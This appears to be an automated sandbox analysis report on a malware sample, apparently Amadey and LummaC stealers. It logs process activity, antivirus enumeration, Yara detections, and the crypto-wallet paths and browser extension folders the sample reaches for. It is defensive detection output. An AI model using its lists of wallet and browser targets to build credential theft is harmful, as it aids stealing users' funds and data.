Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: d274ed0757.exe, 0000002F.00000002.3254635650.0000000000D2F000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: Program Manager
Source: ANEDNjf.exe, ANEDNjf.exe, 0000000D.00000002.3014031713.000000000065F000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: jLProgram Manager
Source: skotes.exe, skotes.exe, 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: .NProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0018DD91 cpuid

5_2_0018DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017084001\4e8fe52b8e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Queries volume information: C:\ VolumeInformation
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FutureApp\SibClr.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.JScript\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.JScript.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FutureApp\SibCa.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002DCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_002DCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_001765E0 LookupAccountNameA,

5_2_001765E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_001B2517 GetTimeZoneInformation,

5_2_001B2517

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3166299670.0000000000850000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ndows Defender\MsMpeng.exe
Source: ANEDNjf.exe, ANEDNjf.exe, 0000000D.00000003.2976117198.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013578942.0000000000E53000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015557208.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2958252059.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072433069.0000000000921000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054152585.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054152585.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2139414972.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2133308721.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2173468977.0000000000171000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2584865149.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2099181811.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ANEDNjf.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 01b80870ed45442fb720b666633425f9.exe PID: 5864, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ANEDNjf.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: ANEDNjf.exe	String found in binary or memory: Wallets/ElectronCash
Source: ANEDNjf.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: ANEDNjf.exe	String found in binary or memory: window-state.json
Source: 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: ANEDNjf.exe	String found in binary or memory: Wallets/Exodus
Source: ANEDNjf.exe	String found in binary or memory: %appdata%\Ethereum
Source: ANEDNjf.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000008.00000002.2721573085.0000000005DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
